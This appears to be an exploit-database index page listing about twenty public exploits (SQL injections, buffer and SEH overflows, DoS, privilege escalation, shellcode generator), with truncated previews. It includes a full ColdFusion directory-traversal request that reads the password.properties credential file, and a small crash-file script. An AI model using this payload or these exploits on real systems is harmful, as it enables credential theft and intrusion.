Adobe ColdFusion Directory Traversal Vulnerability

No description provided by source. Working GET request courtesy of carnal0wnage: http://server/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en LLsecurity added another admin page filename: "/CFIDE/administrator/enter.cfm" !/usr/bin/pytho...

Webspell wCMS-Clanscript4.01.02net - static Blind SQL Injection

Webspell wCMS-Clanscript4.01.02net - static Blind SQL Injection ----------------------------Information------------------------------------------------ +Autor : Easy Laster +ICQ : 11-051-551 +Date : 29.09.2010 +Script : Webspell wCMS-Clanscript4.01.02net= static&static Blind SQL Injection Exploit...

Honestech VHS To DVD 3.0.30 Deluxe Buffer Overflow

!/usr/bin/python Exploit Title: Honestech VHS to DVD \r\n\ \r\n\ MAINDLG\r\n\ PAGE=0\r\n\ \r\n\ AVICODEC\r\n\ VIDEOCODEC=DivX 6.8.5 Codec 2 Logical CPUs\r\n\ AUDIOCODEC=MPEG Layer-3\r\n\ \r\n\ WMVINFO\r\n\ TITLE= \r\n\ AUTHOR= \r\n\ COPYRIGHT= \r\n\ DESCRIPTION= \r\n\ \r\n\ CAPTUREINFO\r\n...

ASPired2Count File Disclosure Exploit (.py)

Exploit for asp platform in category web applications =========================================== ASPired2Count File Disclosure Exploit .py =========================================== !/usr/bin/env python -- coding:cp1254 -- ''' The Net Guys ASPired2Count File Disclosure Exploit .py its not...

Linux Kernel 2.6.33.3 - SCTP INIT Remote Denial of Service

From: http://jon.oberheide.org/files/sctp-boom.py !/usr/bin/env python ''' sctp-boom.py Linux Kernel http://jon.oberheide.org Information: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1173 The sctpprocessunkparam function in net/sctp/smmakechunk.c in the Linux kernel 2.6.33.3 and earlie...

MJB Data (gallery.php id) SQL Injection Exploit (.py)

Exploit for php platform in category web applications ===================================================== MJB Data gallery.php id SQL Injection Exploit .py ===================================================== !/usr/bin/env python -- coding:cp1254 -- MJB Data gallery.php id SQL Injection Exploi...

Esa V 2.0 (kategori.php Kategori_x) SQL Injection Exploit (.py)

Exploit for php platform in category web applications =============================================================== Esa V 2.0 kategori.php Kategorix SQL Injection Exploit .py =============================================================== !/usr/bin/env python -- coding:cp1254 -- Esa V 2.0...

python-cjson buffer overflow

Buffer overflow on python script parsing...

OS X EvoCam Web Server Buffer Overflow Exploit 3.6.6 and 3.6.7

No description provided by source. !/usr/bin/python Exploit Title: OS X EvoCam Web Server Buffer Overflow Exploit 3.6.6 and 3.6.7 Date: 1st June 2010 Author: d1dn0t didnot A-T me.com Software Link: http://www.pizza.org/evocam.dmg Version: EvoCam 3.6.6 and 3.6.7 Tested on: OS X 10.5.8 Intel import...

Mediacoder v0.7.3.4672 SEH Exploit

Exploit for windows platform in category local exploits ================================== Mediacoder v0.7.3.4672 SEH Exploit ================================== !/usr/bin/python from sys import argv Title: Mediacoder v0.7.3.4672 SEH Exploit Author: Stoke from devilc0de crew...

CompleteFTP Server v 3.3.x "PORT" command Remote DOS exploit

Exploit for windows platform in category dos / poc ============================================================ CompleteFTP Server v 3.3.x "PORT" command Remote DOS exploit ============================================================...

avast! 4.7 aavmker4.sys privilege escalation

No description provided by source. !/usr/bin/python avast! 4.7 aavmker4.sys privilege escalation http://www.trapkit.de/advisories/TKADV2008-002.txt CVE-2008-1625 Tested on WindXpSp2/Sp3 Dep ON Matteo Memelli ryujin A-T offensive-security.com www.offensive-security.com Spaghetti & Pwnsauce -...

NIBE heat pump LFI Exploit

Exploit for hardware platform in category remote exploits ========================== NIBE heat pump LFI Exploit ========================== !/usr/bin/python import socket,sys,os,base64 NIBE heat pump LFI exploit Written by Jelmer de Hen Published at http://h.ackack.net/?p=302 Special thanks to...

Linux write() & exit(0) shellcode genearator with customizable text

No description provided by source. !/usr/bin/python Linux write & exit0 shellcode genearator with customizable text Usage: ./generator msg Author: Stoke Tested on: Ubuntu 8.10 E-mail: stoke95atyahoodotit Web: hack2web.altervista.org Visit: blasterhacking.forumcommunity.net import re, sys def...

Speed Commander 13.10 - .zip Memory Corruption

Speed Commander 13.10 - .zip Memory Corruption !/usr/bin/python Title: Speed Commander 13.10 .zip Memory Corruption Author: TecR0c - http://tecninja.net/blog & http://twitter.com/TecR0c Found by: TecR0c Platform: Windows XP sp3 En Advisory:...

ZipCentral (.zip) 0day SEH Exploit

Exploit for windows platform in category local exploits ================================== ZipCentral .zip 0day SEH Exploit ================================== !/usr/bin/python Title: ZipCentral .zip 0day SEH exploit Author: TecR0c - http://tecninja.net/blog & http://twitter.com/TecR0c Download:...

ZipCentral - .zip File (SEH)

ZipCentral - .zip File SEH !/usr/bin/python Title: ZipCentral .zip SEH exploit Author: TecR0c - http://tecninja.net/blog & http://twitter.com/TecR0c Download: http://downloads.pcworld.com/pub/new/utilities/compression/zcsetup.exe Platform: Windows XP sp3 En VMWARE Greetz to: Corelan Security Team...

DSEmu 0.4.10 - .nds Local Crash

DSEmu 0.4.10 - .nds Local Crash !/usr/bin/env python DSEmu 0.4.10 .nds local crash Author: l3D Sites: http://xraysecurity.blogspot.com, http://nullbyte.org.il IRC: irc://irc.nix.co.il Email: [email protected] blah=open'crash.nds', 'w' blah.write'w00t'12 blah.close...

ASX To MP3 Converter 3.0.0.100 Stack Overflow

!/usr/bin/python import time ASX to MP3 Converter Version 3.0.0.100 = Local stack overflow exploit Author: Hazem Mofeed PoC: http://www.exploit-db.com/exploits/11930 Tested On: Windows Xp Home Edition SP3 Home: http://hakxer.wordpress.com print ' Exploited by Hazem Mofeed \n' print ' ASX to MP3...

Easy Icon Maker .ico File Reading Crash

Exploit for windows platform in category dos / poc ======================================= Easy Icon Maker .ico File Reading Crash ======================================= ! /usr/bin/python Easy Icon Maker .ico File Reading Crash Homepage: www.icon-maker.com Credit : ItSecTeam mail : email protect...